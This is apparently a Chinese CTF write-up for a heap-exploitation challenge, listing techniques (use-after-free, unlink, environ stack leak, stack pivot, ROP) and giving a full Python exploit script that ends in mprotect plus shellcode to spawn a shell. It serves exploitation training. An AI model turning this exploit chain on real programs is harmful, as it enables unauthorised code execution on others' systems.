知识点

  1. UAF
  2. unlink
  3. environ泄露栈地址
  4. 栈迁移
  5. ROP

分析

  • 程序存在UAF漏洞,由于版本为Ubuntu16,所以需要在创建堆的时候伪造chunk头部,然后再unlink
  • 使用unlink后任意地址读写,利用environ泄露栈地址
  • 由于程序最后采用exit退出,所以我们直接覆盖edit函数的返回地址
  • 利用ROP链栈迁移,然后再写一段ROP链getshell

细节

  • unlink的堆要适当
  • 由于一次只能读0x1f字节,可以分多次写ROP
  • 尽管去除了符号,也可以搜索字符串找到对应函数以及变量,例如搜索syscall可以找到mprotect函数,属于经验之谈了

exp

#!/usr/bin/python3
from pwncli import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
#cli_script()

io=gift['io']=remote('node4.buuoj.cn',27271)
#io=gift['io']=process('./xwork')
libc=gift['libc'] = ELF('./libc-2.27.so')

def add(cont):
    sla(b"5.Exit\n",b'1')
    s(cont)

def show(idx):
    sla(b"5.Exit\n", b'2')
    sla(b"Input the order index:",str(idx))

def edit(idx,cont):
    sla(b"5.Exit\n", b'3')
    sla(b"Input the order index:",str(idx))
    sleep(0.1)
    s(cont)

def free(idx):
    sla(b"5.Exit\n", b'4')
    sla(b"Input the order index:",str(idx))

mprotct=0x440840
leak_stack=0x6c9f90
chunk_addr=0x6CCD60
name_addr=0x6CCDC0
read_addr=0x43FD30

sla(b"What's your name:",b'stas')

payload=p64_ex(0x0)+p64_ex(0x51)+p64_ex(chunk_addr-0x18)+p64_ex(chunk_addr-0x10)[:-1]
add(payload)#0
payload=p64_ex(0)*3+p32_ex(0x31)
add(payload)#1
for i in range(4):
    add(b'stas')#2-5

free(1)
free(2)

show(2)
heap_base=u64_ex(r(8))-0x30
log_address("heap_base : ",heap_base)

edit(2,p64_ex(heap_base+0x20+0x30))
payload=p64_ex(0x50)+p64_ex(0x90)
add(payload)#5
add(payload)#6

#unlink
free(2)

#leak stack
payload=p64_ex(0)*3+p64_ex(chunk_addr)[:-1]
edit(0,payload)
edit(0,p64_ex(leak_stack)+p64_ex(chunk_addr))
show(0)

stack_addr=u64_ex(ru(b'\x7f')[-6:])
log_address("stack_addr : ",stack_addr)

pop_rdi=0x4018a6
pop_rsi=0x4019c7
pop_rdx=0x443166
pop_rsp=0x40060b

#first
edit(1,p64_ex(stack_addr-0x130))
payload=p64_ex(pop_rdx)+p64_ex(0x1000)+p64_ex(read_addr)+p64_ex(pop_rsp)[:-1]
edit(0,payload)

#second
edit(1,p64_ex(stack_addr-0x130+0x20))
payload=p64_ex(name_addr)
edit(0,payload)

#third
edit(1,p64_ex(stack_addr-0x130-0x20))
payload=p64_ex(pop_rdi)+p64_ex(0)+p64_ex(pop_rsi)+p64_ex(name_addr)[:-1]
edit(0,payload)

sleep(0.1)
payload=p64_ex(pop_rdi)+p64_ex(name_addr&0xffffff000)+p64_ex(pop_rsi)+p64_ex(0x1000)+p64_ex(pop_rdx)+p64_ex(7)+p64_ex(mprotct)
payload+=p64_ex(name_addr+len(payload)+8)+asm(shellcraft.sh())
s(payload)

ia()



追求现实的理想主义者。